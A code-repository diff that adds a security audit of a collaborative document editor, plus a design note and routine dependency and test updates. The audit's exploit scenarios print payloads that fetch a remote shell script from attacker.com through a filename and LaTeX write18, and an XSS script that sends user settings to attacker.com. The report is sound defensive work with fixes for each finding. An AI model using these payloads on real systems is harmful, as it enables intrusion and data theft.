|
|
||||||
|
## Guard rails
|
||||||
|
|
||||||
|
- **Auth gating.** Only run the install path for **logged-in owner/collaborator**
|
||||||
|
compiles. Anonymous-link compiles use the plain base interpreter and never
|
||||||
|
trigger installs. Web decides and passes a boolean to CLSI; default-deny.
|
||||||
|
- **Network egress.** The compile environment must reach PyPI to install.
|
||||||
|
Restrict egress to PyPI / an internal mirror only (k8s NetworkPolicy + pip
|
||||||
|
`--index-url`), not arbitrary hosts.
|
||||||
|
- **Resource caps.** Install timeout, venv size cap, max package count; surface
|
||||||
|
overruns as a clear log error.
|
||||||
|
- **Trust boundary.** Even gated, a trusted user installing packages is
|
||||||
|
arbitrary code execution in the sandbox. Containment stays the CLSI container
|
||||||
|
+ resource limits + egress policy. This is owner-trust-level by design.
|
||||||
|
|
||||||
|
## Lifecycle
|
||||||
|
|
||||||
|
- **Eviction.** `touch` the venv on use; an LRU cleanup job prunes the oldest
|
||||||
|
venvs when the volume exceeds a size budget.
|
||||||
|
- **Failure UX.** pip errors flow into the log panel (reusing the friendly-error
|
||||||
|
pattern) showing pip's output.
|
||||||
|
|
||||||
|
## Rollout
|
||||||
|
|
||||||
|
- **Phase 1.** Detection + `flock` venv build + `QUARTO_PYTHON`, behind a
|
||||||
|
settings flag (default **off**), gated to logged-in owner, dev volume.
|
||||||
|
- **Phase 2.** Egress NetworkPolicy + index pinning + eviction job.
|
||||||
|
- **Phase 3.** Nicer pip-error surfacing + a small project-settings UI
|
||||||
|
affordance.
|
||||||
|
|
||||||
|
## Open decisions
|
||||||
|
|
||||||
|
- `requirements.vrf` vs a frontmatter field vs both?
|
||||||
|
- Shared global venv volume vs per-user namespacing (sharing is cheaper;
|
||||||
|
per-user is stricter isolation)?
|
||||||
|
- Allow native/compiled wheels (broader support) vs wheels-only/no-build
|
||||||
|
(tighter security)?
|
||||||
@@ -0,0 +1,259 @@
|
|||||||
|
# Verso Alpha-3 Security Audit
|
||||||
|
|
||||||
|
**Date:** 2026-06-19
|
||||||
|
**Branch audited:** `main` (full codebase)
|
||||||
|
**Method:** multi-agent automated review + manual false-positive filtering
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
| # | Title | Severity | Confidence |
|
||||||
|
|---|-------|----------|------------|
|
||||||
|
| 1 | Shell injection via filename → RCE on CLSI | **HIGH** | 9/10 |
|
||||||
|
| 2 | Read-only collaborator can publish / unpublish / rotate tokens | **HIGH** | 9/10 |
|
||||||
|
| 3 | LaTeX `shell-escape` enabled without sandbox in production | **HIGH** | 9/10 |
|
||||||
|
| 4 | Published presentations served without CSP (stored XSS on origin) | **MEDIUM** | 9/10 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Vuln 1 — Command Injection via Filename → RCE on CLSI
|
||||||
|
|
||||||
|
**Files:**
|
||||||
|
- `services/clsi/app/js/QuartoRunner.js` (lines 102–147)
|
||||||
|
- `services/clsi/app/js/TypstRunner.js` (lines 139–141, 399–400)
|
||||||
|
|
||||||
|
**Category:** `command_injection` / `rce`
|
||||||
|
**Severity:** HIGH | **Confidence:** 9/10
|
||||||
|
|
||||||
|
### Description
|
||||||
|
|
||||||
|
`renderTarget` / `mainFile` (the project's root resource path) is interpolated directly into a shell command string passed to `/bin/sh -c` without any quoting or escaping:
|
||||||
|
|
||||||
|
```js
|
||||||
|
// QuartoRunner.js ~line 102
|
||||||
|
const baseName = renderTarget.replace(/\.[^/.]+$/, '')
|
||||||
|
// …passed to /bin/sh -c:
|
||||||
|
`quarto render $COMPILE_DIR/${renderTarget} 2>&1 && mv ${baseName}.pdf output.pdf`
|
||||||
|
`; rm -rf ${baseName}.qmd ${baseName}_files`
|
||||||
|
```
|
||||||
|
|
||||||
|
```js
|
||||||
|
// TypstRunner.js ~line 140 — double quotes do NOT prevent $() or backtick expansion
|
||||||
|
['/bin/sh', '-c', `typst watch "${absInput}" "${absOutput}" 2>&1`]
|
||||||
|
|
||||||
|
// TypstRunner.js ~line 399 — completely unquoted
|
||||||
|
['/bin/sh', '-c', `typst compile $COMPILE_DIR/${mainFile} output.pdf 2>&1`]
|
||||||
|
```
|
||||||
|
|
||||||
|
`SafePath.isCleanFilename()` (`SafePath.mjs` lines 24–37) only blocks `/`, `\`, `*`, and control characters. Shell metacharacters — `$`, `` ` ``, `(`, `)`, `;`, `&`, `|` — all pass through unchecked. The CLSI's own `_checkPath()` only rejects `..` path traversal.
|
||||||
|
|
||||||
|
### Exploit Scenario
|
||||||
|
|
||||||
|
Any project collaborator renames their root file to:
|
||||||
|
|
||||||
|
```
|
||||||
|
foo$(curl https://attacker.com/shell.sh|sh).qmd
|
||||||
|
```
|
||||||
|
|
||||||
|
Triggering a compile executes the injected command unsandboxed inside the CLSI container as the host process user.
|
||||||
|
|
||||||
|
### Fix
|
||||||
|
|
||||||
|
Use an args array instead of `/bin/sh -c` with a concatenated string:
|
||||||
|
|
||||||
|
```js
|
||||||
|
// Instead of:
|
||||||
|
spawn('/bin/sh', ['-c', `quarto render ${renderTarget} ...`])
|
||||||
|
|
||||||
|
// Use:
|
||||||
|
spawn('quarto', ['render', absRenderTarget, '--to', 'pdf'])
|
||||||
|
```
|
||||||
|
|
||||||
|
For cases where a shell string is unavoidable, single-quote the variable: `'${renderTarget}'` (single quotes prevent all shell expansion). The safest fix is removing all three `/bin/sh -c templateString` invocations in favour of direct `spawn` with an explicit args array.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Vuln 2 — Authorization Bypass: Read-Only Collaborators Can Publish / Unpublish / Rotate Tokens
|
||||||
|
|
||||||
|
**File:** `services/web/app/src/router.mjs` (lines 697–710)
|
||||||
|
|
||||||
|
**Category:** `authorization_bypass` / `privilege_escalation`
|
||||||
|
**Severity:** HIGH | **Confidence:** 9/10
|
||||||
|
|
||||||
|
### Description
|
||||||
|
|
||||||
|
Three destructive presentation endpoints are gated on `ensureUserCanReadProject` instead of `ensureUserCanAdminProject`:
|
||||||
|
|
||||||
|
```js
|
||||||
|
webRouter.post('/project/:Project_id/publish-presentation',
|
||||||
|
AuthorizationMiddleware.ensureUserCanReadProject, // ← should be ensureUserCanAdminProject
|
||||||
|
PublishedPresentationController.publish)
|
||||||
|
|
||||||
|
webRouter.post('/project/:Project_id/publish-presentation/regenerate',
|
||||||
|
AuthorizationMiddleware.ensureUserCanReadProject, // ← should be ensureUserCanAdminProject
|
||||||
|
PublishedPresentationController.regenerate)
|
||||||
|
|
||||||
|
webRouter.delete('/project/:Project_id/publish-presentation',
|
||||||
|
AuthorizationMiddleware.ensureUserCanReadProject, // ← should be ensureUserCanAdminProject
|
||||||
|
PublishedPresentationController.unpublish)
|
||||||
|
```
|
||||||
|
|
||||||
|
`canUserReadProject` returns `true` for the `READ_ONLY` privilege level (`AuthorizationManager.mjs` lines 260–276), which is granted to any read-only collaborator and to anonymous users holding a read-only token link. `canUserAdminProject` requires `OWNER` only.
|
||||||
|
|
||||||
|
### Exploit Scenario
|
||||||
|
|
||||||
|
User A shares a project read-only with User B. User B can:
|
||||||
|
|
||||||
|
1. **`DELETE /publish-presentation`** — permanently take down the owner's published presentation
|
||||||
|
2. **`POST /publish-presentation/regenerate`** — rotate the public/login/member share token, breaking all existing links
|
||||||
|
3. **`POST /publish-presentation`** — force a recompile and overwrite the published snapshot
|
||||||
|
|
||||||
|
### Fix
|
||||||
|
|
||||||
|
```js
|
||||||
|
// Change all three routes — replace:
|
||||||
|
AuthorizationMiddleware.ensureUserCanReadProject
|
||||||
|
// with:
|
||||||
|
AuthorizationMiddleware.ensureUserCanAdminProject
|
||||||
|
```
|
||||||
|
|
||||||
|
One-line fix per route. This is the highest-priority fix because it requires no architectural change.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Vuln 3 — LaTeX `shell-escape` Enabled Without Sandbox in Production (RCE)
|
||||||
|
|
||||||
|
**Files:**
|
||||||
|
- `.gitea/workflows/deploy-verso-prod.yml` (lines 332–333)
|
||||||
|
- `services/clsi/app/js/LatexRunner.js` (lines 200–202)
|
||||||
|
- `services/clsi/app/js/CommandRunner.js` (lines 12–16)
|
||||||
|
|
||||||
|
**Category:** `rce` / `insecure_configuration`
|
||||||
|
**Severity:** HIGH | **Confidence:** 9/10
|
||||||
|
|
||||||
|
### Description
|
||||||
|
|
||||||
|
The production Kubernetes deployment sets `OVERLEAF_LATEX_SHELL_ESCAPE: "true"` with neither `SANDBOXED_COMPILES` nor `DOCKER_RUNNER` configured. This passes `-shell-escape` to every latexmk invocation globally, for all users, with no per-user or per-project gating:
|
||||||
|
|
||||||
|
```js
|
||||||
|
// LatexRunner.js lines 200–202
|
||||||
|
if (Settings.clsi?.latexShellEscape) {
|
||||||
|
command.push('-shell-escape') // unconditional — applies to all users/projects
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Without `DOCKER_RUNNER=true`, `CommandRunner.js` selects `LocalCommandRunner` — compiles run as the host process with full container filesystem access. The reference `docker-compose.yml` *does* configure sandboxed compiles (`SANDBOXED_COMPILES: true`, `DOCKER_RUNNER: true`); the production K8s deployment simply omits them.
|
||||||
|
|
||||||
|
The compile endpoint requires only `ensureUserCanReadProject`, so any holder of a read-only share link can trigger a compile.
|
||||||
|
|
||||||
|
### Exploit Scenario
|
||||||
|
|
||||||
|
Any user with read-only access to any project uploads or edits a `.tex` file containing:
|
||||||
|
|
||||||
|
```latex
|
||||||
|
\immediate\write18{curl https://attacker.com/shell.sh | bash}
|
||||||
|
```
|
||||||
|
|
||||||
|
Triggering a compile executes the command unsandboxed, with access to all mounted volumes (source files, Redis socket, compile output).
|
||||||
|
|
||||||
|
### Fix (two steps)
|
||||||
|
|
||||||
|
**Step 1 — Short term:** Remove `OVERLEAF_LATEX_SHELL_ESCAPE: "true"` from `.gitea/workflows/deploy-verso-prod.yml`. Disable shell-escape entirely unless there is a specific, per-project need.
|
||||||
|
|
||||||
|
**Step 2 — Medium term:** Add sandboxed compile configuration to the production deployment, mirroring the reference `docker-compose.yml`:
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
- name: SANDBOXED_COMPILES
|
||||||
|
value: "true"
|
||||||
|
- name: DOCKER_RUNNER
|
||||||
|
value: "true"
|
||||||
|
```
|
||||||
|
|
||||||
|
This contains the blast radius of any future compile-path vulnerability regardless of shell-escape status.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Vuln 4 — Stored XSS via Published Presentations (CSP Removed on Main Origin)
|
||||||
|
|
||||||
|
**File:** `services/web/app/src/Features/PublishedPresentation/PublishedPresentationController.mjs` (line 116)
|
||||||
|
|
||||||
|
**Category:** `xss` / `stored`
|
||||||
|
**Severity:** MEDIUM | **Confidence:** 9/10
|
||||||
|
|
||||||
|
### Description
|
||||||
|
|
||||||
|
The published-presentation handler explicitly removes the Content-Security-Policy header before serving the raw HTML output:
|
||||||
|
|
||||||
|
```js
|
||||||
|
res.removeHeader('Content-Security-Policy') // line 116
|
||||||
|
res.sendFile(target, ...) // serves output.html / index.html directly
|
||||||
|
```
|
||||||
|
|
||||||
|
The file served is the raw Quarto/reveal.js compile output — not a sanitized template. Since users control the `.qmd` source entirely, arbitrary `<script>` blocks can be embedded. The `/p/:token` routes are registered on the same `webRouter` as the main app, so scripts execute with **full same-origin privileges** against the Verso application origin.
|
||||||
|
|
||||||
|
### Impact
|
||||||
|
|
||||||
|
- Any visitor to a `publicToken` link has the script execute in their browser (no login required to be targeted)
|
||||||
|
- `fetch()` calls from the same origin automatically include the session cookie, bypassing `httpOnly`
|
||||||
|
- A script can call the `/dev/csrf` endpoint to obtain a valid CSRF token, then call any mutating POST/DELETE API endpoint as the victim (read/write projects, change email, delete account, exfiltrate documents)
|
||||||
|
|
||||||
|
### Exploit Scenario
|
||||||
|
|
||||||
|
1. Attacker creates a Quarto project with a slide containing:
|
||||||
|
```html
|
||||||
|
<script>
|
||||||
|
fetch('/user/settings', {credentials: 'include'})
|
||||||
|
.then(r => r.json())
|
||||||
|
.then(d => fetch('https://attacker.com/?d=' + btoa(JSON.stringify(d))))
|
||||||
|
</script>
|
||||||
|
```
|
||||||
|
2. Compiles and publishes → obtains the `publicToken` URL
|
||||||
|
3. Shares the link with a victim
|
||||||
|
4. Victim visits the link → script executes on the Verso origin → authenticated API calls made on victim's behalf
|
||||||
|
|
||||||
|
### Fix
|
||||||
|
|
||||||
|
The correct fix is to **serve published presentations from an isolated subdomain** (e.g., `decks.verso.example.com`) with no session cookie access, so embedded scripts are origin-isolated from the main app.
|
||||||
|
|
||||||
|
As a stopgap, apply a restricted CSP instead of removing it entirely:
|
||||||
|
|
||||||
|
```js
|
||||||
|
// Instead of:
|
||||||
|
res.removeHeader('Content-Security-Policy')
|
||||||
|
|
||||||
|
// Apply a presentation-specific policy:
|
||||||
|
res.setHeader('Content-Security-Policy',
|
||||||
|
"default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'none'")
|
||||||
|
```
|
||||||
|
|
||||||
|
`connect-src 'none'` blocks `fetch()`/XHR exfiltration even if inline scripts run.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Items Reviewed and Not Flagged
|
||||||
|
|
||||||
|
| Area | Finding |
|
||||||
|
|------|---------|
|
||||||
|
| MongoDB queries | No raw `req.body` interpolation; Mongoose used throughout |
|
||||||
|
| CSRF protection | `csurf` middleware applied globally; no Verso-added bypass found |
|
||||||
|
| `dangerouslySetInnerHTML` | Only in operator-controlled footer (env-var source, not user input) |
|
||||||
|
| `DOMPurify` usage | `labs-description.tsx` uses it correctly with a strict allowlist |
|
||||||
|
| Hardcoded credentials | `dev.env` has weak defaults; production uses auto-generated secrets from `100_generate_secrets.sh` |
|
||||||
|
| Open redirects | `getSafeRedirectPath` strips to pathname only; no exploitable chain found |
|
||||||
|
| SSRF (URL agent) | Proxied through `linkedUrlProxy`; host allowlisting in place |
|
||||||
|
| Path traversal in `serve()` | `path.resolve` + `startsWith` guard is correct |
|
||||||
|
| Session secret | Auto-generated at init, stored in `/etc/container_environment/CRYPTO_RANDOM` |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Recommended Fix Priority for Alpha-3
|
||||||
|
|
||||||
|
| Priority | Finding | Effort |
|
||||||
|
|----------|---------|--------|
|
||||||
|
| 1 | **Vuln 2** — wrong auth middleware on 3 routes | ~5 min, 3-line fix |
|
||||||
|
| 2 | **Vuln 3** — remove `shell-escape` from prod deploy | ~5 min, remove 2 lines from YAML |
|
||||||
|
| 3 | **Vuln 1** — fix quoting in QuartoRunner + TypstRunner | ~1 hour, refactor spawn calls |
|
||||||
|
| 4 | **Vuln 4** — XSS via presentations | Hours–days; subdomain isolation is the real fix |
|
||||||
|
|
||||||
|
Vulns 1–3 are straightforward enough to fix before shipping alpha-3. Vuln 4 can be mitigated with the `connect-src 'none'` CSP header as a stopgap and tracked as a post-alpha-3 architectural item.
|
||||||
BIN
Binary file not shown.
|
After Width: | Height: | Size: 88 KiB |
BIN
Binary file not shown.
|
After Width: | Height: | Size: 95 KiB |
BIN
Binary file not shown.
|
After Width: | Height: | Size: 102 KiB |
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,4 +1,10 @@
|
|||||||
|
const pkg = require('./package.json')
|
||||||
|
|
||||||
module.exports = {
|
module.exports = {
|
||||||
|
meta: {
|
||||||
|
name: pkg.name,
|
||||||
|
version: pkg.version,
|
||||||
|
},
|
||||||
rules: {
|
rules: {
|
||||||
'no-unnecessary-trans': require('./no-unnecessary-trans'),
|
'no-unnecessary-trans': require('./no-unnecessary-trans'),
|
||||||
'prefer-kebab-url': require('./prefer-kebab-url'),
|
'prefer-kebab-url': require('./prefer-kebab-url'),
|
||||||
|
|||||||
@@ -8,10 +8,10 @@
|
|||||||
"lodash": "^4.18.1"
|
"lodash": "^4.18.1"
|
||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
"@typescript-eslint/parser": "^8.50.0"
|
"@typescript-eslint/parser": "^8.59.4"
|
||||||
},
|
},
|
||||||
"peerDependencies": {
|
"peerDependencies": {
|
||||||
"eslint": "^8.51.0"
|
"eslint": "^10.4.0"
|
||||||
},
|
},
|
||||||
"scripts": {
|
"scripts": {
|
||||||
"test": "node rules.test.js"
|
"test": "node rules.test.js"
|
||||||
|
|||||||
@@ -22,7 +22,7 @@ module.exports = {
|
|||||||
},
|
},
|
||||||
},
|
},
|
||||||
create(context) {
|
create(context) {
|
||||||
const currentFilePath = context.getFilename()
|
const currentFilePath = context.filename
|
||||||
// ESLint can sometimes pass <text> or <input> for snippets not in a file
|
// ESLint can sometimes pass <text> or <input> for snippets not in a file
|
||||||
if (currentFilePath === '<text>' || currentFilePath === '<input>') {
|
if (currentFilePath === '<text>' || currentFilePath === '<input>') {
|
||||||
return {}
|
return {}
|
||||||
@@ -81,9 +81,10 @@ module.exports = {
|
|||||||
typeof firstArg.value !== 'string'
|
typeof firstArg.value !== 'string'
|
||||||
) {
|
) {
|
||||||
if (firstArg.type === 'Identifier') {
|
if (firstArg.type === 'Identifier') {
|
||||||
const variable = context
|
const scope = context.sourceCode.getScope(node)
|
||||||
.getScope()
|
const variable = scope.variables.find(
|
||||||
.variables.find(v => v.name === firstArg.name)
|
v => v.name === firstArg.name
|
||||||
|
)
|
||||||
if (
|
if (
|
||||||
variable &&
|
variable &&
|
||||||
variable.defs.length > 0 &&
|
variable.defs.length > 0 &&
|
||||||
|
|||||||
@@ -1,4 +1,5 @@
|
|||||||
const { RuleTester } = require('eslint')
|
const { RuleTester } = require('eslint')
|
||||||
|
const tsParser = require('@typescript-eslint/parser')
|
||||||
const noThrowInCallback = require('./no-throw-in-callback')
|
const noThrowInCallback = require('./no-throw-in-callback')
|
||||||
const preferKebabUrl = require('./prefer-kebab-url')
|
const preferKebabUrl = require('./prefer-kebab-url')
|
||||||
const noUnnecessaryTrans = require('./no-unnecessary-trans')
|
const noUnnecessaryTrans = require('./no-unnecessary-trans')
|
||||||
@@ -8,10 +9,10 @@ const viDoMockValidPath = require('./require-vi-doMock-valid-path')
|
|||||||
const requireCioSnakeCaseProperties = require('./require-cio-snake-case-properties')
|
const requireCioSnakeCaseProperties = require('./require-cio-snake-case-properties')
|
||||||
|
|
||||||
const ruleTester = new RuleTester({
|
const ruleTester = new RuleTester({
|
||||||
parser: require.resolve('@typescript-eslint/parser'),
|
languageOptions: {
|
||||||
parserOptions: {
|
parser: tsParser,
|
||||||
ecmaVersion: 'latest',
|
ecmaVersion: 'latest',
|
||||||
ecmaFeatures: { jsx: true },
|
parserOptions: { ecmaFeatures: { jsx: true } },
|
||||||
},
|
},
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -33,19 +34,27 @@ ruleTester.run('prefer-kebab-url', preferKebabUrl, {
|
|||||||
invalid: [
|
invalid: [
|
||||||
{
|
{
|
||||||
code: `app.get('/fooBar')`,
|
code: `app.get('/fooBar')`,
|
||||||
errors: [{ message: 'Route path should be in kebab-case.' }],
|
errors: [
|
||||||
|
{ message: 'Route path should be in kebab-case.', suggestions: 1 },
|
||||||
|
],
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
code: `app.get('/fooBar/:id')`,
|
code: `app.get('/fooBar/:id')`,
|
||||||
errors: [{ message: 'Route path should be in kebab-case.' }],
|
errors: [
|
||||||
|
{ message: 'Route path should be in kebab-case.', suggestions: 1 },
|
||||||
|
],
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
code: `webRouter.get('/foo_bar/:id/FooBar/:name/fooBar')`,
|
code: `webRouter.get('/foo_bar/:id/FooBar/:name/fooBar')`,
|
||||||
errors: [{ message: 'Route path should be in kebab-case.' }],
|
errors: [
|
||||||
|
{ message: 'Route path should be in kebab-case.', suggestions: 1 },
|
||||||
|
],
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
code: `router.get(/^\\/downLoad\\/pro-ject\\/([^/]*)\\/OutPut\\/out-put\\.pdf$/)`,
|
code: `router.get(/^\\/downLoad\\/pro-ject\\/([^/]*)\\/OutPut\\/out-put\\.pdf$/)`,
|
||||||
errors: [{ message: 'Route path should be in kebab-case.' }],
|
errors: [
|
||||||
|
{ message: 'Route path should be in kebab-case.', suggestions: 1 },
|
||||||
|
],
|
||||||
},
|
},
|
||||||
],
|
],
|
||||||
})
|
})
|
||||||
@@ -153,6 +162,7 @@ ruleTester.run('domock-require-valid-path', viDoMockValidPath, {
|
|||||||
{
|
{
|
||||||
message:
|
message:
|
||||||
'The path "./require-vi-doMock-valid-path2" in vi.doMock() cannot be resolved relative to the current file.',
|
'The path "./require-vi-doMock-valid-path2" in vi.doMock() cannot be resolved relative to the current file.',
|
||||||
|
suggestions: [],
|
||||||
},
|
},
|
||||||
],
|
],
|
||||||
},
|
},
|
||||||
@@ -163,6 +173,7 @@ ruleTester.run('domock-require-valid-path', viDoMockValidPath, {
|
|||||||
{
|
{
|
||||||
message:
|
message:
|
||||||
'The first argument of vi.doMock() must be (or resolve to) a string literal representing a path.',
|
'The first argument of vi.doMock() must be (or resolve to) a string literal representing a path.',
|
||||||
|
suggestions: [],
|
||||||
},
|
},
|
||||||
],
|
],
|
||||||
},
|
},
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -10,12 +10,12 @@
|
|||||||
"dependencies": {
|
"dependencies": {
|
||||||
"@google-cloud/opentelemetry-cloud-trace-exporter": "^3.0.0",
|
"@google-cloud/opentelemetry-cloud-trace-exporter": "^3.0.0",
|
||||||
"@google-cloud/profiler": "^6.0.4",
|
"@google-cloud/profiler": "^6.0.4",
|
||||||
"@opentelemetry/api": "1.9.0",
|
"@opentelemetry/api": "^1.9.1",
|
||||||
"@opentelemetry/auto-instrumentations-node": "^0.72.0",
|
"@opentelemetry/auto-instrumentations-node": "^0.76.0",
|
||||||
"@opentelemetry/exporter-trace-otlp-http": "^0.214.0",
|
"@opentelemetry/exporter-trace-otlp-http": "^0.218.0",
|
||||||
"@opentelemetry/resources": "^2.6.0",
|
"@opentelemetry/resources": "^2.7.1",
|
||||||
"@opentelemetry/sdk-node": "^0.214.0",
|
"@opentelemetry/sdk-node": "^0.218.0",
|
||||||
"@opentelemetry/semantic-conventions": "^1.39.0",
|
"@opentelemetry/semantic-conventions": "^1.41.1",
|
||||||
"compression": "^1.7.4",
|
"compression": "^1.7.4",
|
||||||
"prom-client": "^14.1.1",
|
"prom-client": "^14.1.1",
|
||||||
"yn": "^3.1.1"
|
"yn": "^3.1.1"
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -38,7 +38,6 @@
|
|||||||
"mocha": "^11.1.0",
|
"mocha": "^11.1.0",
|
||||||
"mocha-junit-reporter": "^2.2.1",
|
"mocha-junit-reporter": "^2.2.1",
|
||||||
"mocha-multi-reporters": "^1.5.1",
|
"mocha-multi-reporters": "^1.5.1",
|
||||||
"mock-fs": "^5.2.0",
|
|
||||||
"mongodb": "6.12.0",
|
"mongodb": "6.12.0",
|
||||||
"sandboxed-module": "^2.0.4",
|
"sandboxed-module": "^2.0.4",
|
||||||
"sinon": "^9.2.4",
|
"sinon": "^9.2.4",
|
||||||
|
|||||||
@@ -3,9 +3,12 @@ const fs = require('node:fs')
|
|||||||
const fsPromises = require('node:fs/promises')
|
const fsPromises = require('node:fs/promises')
|
||||||
const { glob } = require('glob')
|
const { glob } = require('glob')
|
||||||
const Path = require('node:path')
|
const Path = require('node:path')
|
||||||
|
const { promisify } = require('node:util')
|
||||||
const { PassThrough } = require('node:stream')
|
const { PassThrough } = require('node:stream')
|
||||||
const { pipeline } = require('node:stream/promises')
|
const { pipeline } = require('node:stream/promises')
|
||||||
|
|
||||||
|
const openCb = promisify(fs.open)
|
||||||
|
|
||||||
const AbstractPersistor = require('./AbstractPersistor')
|
const AbstractPersistor = require('./AbstractPersistor')
|
||||||
const { ReadError, WriteError, NotImplementedError } = require('./Errors')
|
const { ReadError, WriteError, NotImplementedError } = require('./Errors')
|
||||||
const PersistorHelper = require('./PersistorHelper')
|
const PersistorHelper = require('./PersistorHelper')
|
||||||
@@ -85,8 +88,9 @@ module.exports = class FSPersistor extends AbstractPersistor {
|
|||||||
})
|
})
|
||||||
const fsPath = this._getFsPath(location, name, opts.useSubdirectories)
|
const fsPath = this._getFsPath(location, name, opts.useSubdirectories)
|
||||||
|
|
||||||
|
let fd
|
||||||
try {
|
try {
|
||||||
opts.fd = await fsPromises.open(fsPath, 'r')
|
fd = await openCb(fsPath, 'r')
|
||||||
} catch (err) {
|
} catch (err) {
|
||||||
throw PersistorHelper.wrapError(
|
throw PersistorHelper.wrapError(
|
||||||
err,
|
err,
|
||||||
@@ -96,7 +100,7 @@ module.exports = class FSPersistor extends AbstractPersistor {
|
|||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
const stream = fs.createReadStream(null, opts)
|
const stream = fs.createReadStream(null, { ...opts, fd })
|
||||||
// Return a PassThrough stream with a minimal interface. It will buffer until the caller starts reading. It will emit errors from the source stream (Stream.pipeline passes errors along).
|
// Return a PassThrough stream with a minimal interface. It will buffer until the caller starts reading. It will emit errors from the source stream (Stream.pipeline passes errors along).
|
||||||
const pass = new PassThrough()
|
const pass = new PassThrough()
|
||||||
pipeline(stream, observer, pass).catch(() => {})
|
pipeline(stream, observer, pass).catch(() => {})
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
const crypto = require('node:crypto')
|
const crypto = require('node:crypto')
|
||||||
|
const os = require('node:os')
|
||||||
const { expect } = require('chai')
|
const { expect } = require('chai')
|
||||||
const mockFs = require('mock-fs')
|
|
||||||
const fs = require('node:fs')
|
const fs = require('node:fs')
|
||||||
const fsPromises = require('node:fs/promises')
|
const fsPromises = require('node:fs/promises')
|
||||||
const Path = require('node:path')
|
const Path = require('node:path')
|
||||||
@@ -10,22 +10,59 @@ const Errors = require('../../src/Errors')
|
|||||||
|
|
||||||
const MODULE_PATH = '../../src/FSPersistor.js'
|
const MODULE_PATH = '../../src/FSPersistor.js'
|
||||||
|
|
||||||
|
function createTree(base, tree) {
|
||||||
|
fs.mkdirSync(base, { recursive: true })
|
||||||
|
for (const [name, content] of Object.entries(tree)) {
|
||||||
|
const fullPath = Path.join(base, name)
|
||||||
|
if (Buffer.isBuffer(content) || typeof content === 'string') {
|
||||||
|
fs.writeFileSync(fullPath, content)
|
||||||
|
} else if (content && typeof content.symlink === 'string') {
|
||||||
|
fs.symlinkSync(content.symlink, fullPath)
|
||||||
|
} else {
|
||||||
|
createTree(fullPath, content)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
